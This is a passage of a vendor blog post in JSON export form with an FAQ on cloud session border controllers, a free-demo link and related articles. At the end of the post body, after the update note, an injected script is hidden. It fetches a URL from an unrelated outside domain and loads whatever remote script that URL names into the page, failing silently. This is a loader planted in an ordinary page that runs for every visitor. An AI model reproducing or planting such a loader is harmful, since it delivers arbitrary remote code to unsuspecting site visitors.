changing demands quite easily.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Frequently_Asked_Questions\"><\/span>Frequently Asked Questions<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h3><span class=\"ez-toc-section\" id=\"What_is_the_time-to-market_for_cloud_SBCs\"><\/span>What is the time-to-market for cloud SBCs?<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Cloud SBCs are usually deployed in a matter of hours or days. On the contrary, traditional SBCs can take weeks or months for the same.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Can_you_name_a_few_industries_that_can_benefit_from_cloud_SBCs\"><\/span>Can you name a few industries that can benefit from cloud SBCs?<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Cloud SBCs can benefit organizations across various industries such as healthcare, education, finance, and telecommunications.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"How_can_organizations_maximize_the_reliability_of_a_cloud_SBC\"><\/span>How can organizations maximize the reliability of a cloud SBC?<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">The reliability of a cloud service is ensured by the cloud service provider. So, choosing a reliable provider means expecting minimal downtime.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Do_Virtual_SBCs_integrate_with_existing_on-premise_systems\"><\/span>Do Virtual SBCs integrate with existing on-premise systems?<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Yes, most of the virtual session border controllers providers offer hybrid solution that easily integrate with on-premise existing systems. This means you can expect a smooth transition and interoperability.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Are_there_any_potential_risks_associated_with_the_usage_of_Cloud_SBCs\"><\/span>Are there any potential risks associated with the usage of Cloud SBCs?<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Yes, vendor lock-in, data privacy concerns, and network latency are some potential risks.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Do_Virtual_SBCs_have_the_capacity_to_handle_high_call_volumes\"><\/span>Do Virtual SBCs have the capacity to handle high call volumes?<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Yes, virtual SBCs are scalable in nature which means they can be configured to handle high call volumes. This makes them an ideal choice for contact centers and large enterprises.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"What_are_some_key_benefits_organizations_can_experience_using_cloud_SBCs\"><\/span>What are some key benefits organizations can experience using cloud SBCs?<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Reduced infrastructure costs, improved scalability, enhanced security, and faster deployment are some common benefits.\u00a0<\/span><\/p>\n<h2><\/h2>\n<p style=\"text-align: center;\"><a class=\"btn btn-primary\" style=\"padding: 8px 12px; font-size: 18px;\" href=\"https:\/\/www.revesoft.com\/products\/reve-session-border-controller#free_demo_form\" target=\"_blank\" rel=\"noopener\">Contact for Free Demo<\/a><\/p>\n<h2 style=\"text-align: center;\"><span class=\"ez-toc-section\" id=\"Read_Also\"><\/span>Read Also<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h3 style=\"text-align: center;\"><span class=\"ez-toc-section\" id=\"Why_Communication_Service_Providers_Need_an_SBC\"><\/span><a href=\"https:\/\/www.revesoft.com\/blog\/sbc\/communication-service-providers-need-session-border-controller\/\" target=\"_blank\" rel=\"noopener\">Why Communication Service Providers Need an SBC?<\/a><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<h3 style=\"text-align: center;\"><span class=\"ez-toc-section\" id=\"An_Overview_of_Session_Border_Controller\"><\/span><a href=\"https:\/\/www.revesoft.com\/blog\/sbc\/session-border-controller\/\" target=\"_blank\" rel=\"noopener\">An Overview of Session Border Controller<\/a><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>Note: This post has been updated on 13-12-2024.<script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>For years, SBCs have been an indispensable part of the SIP-based VoIP networks. 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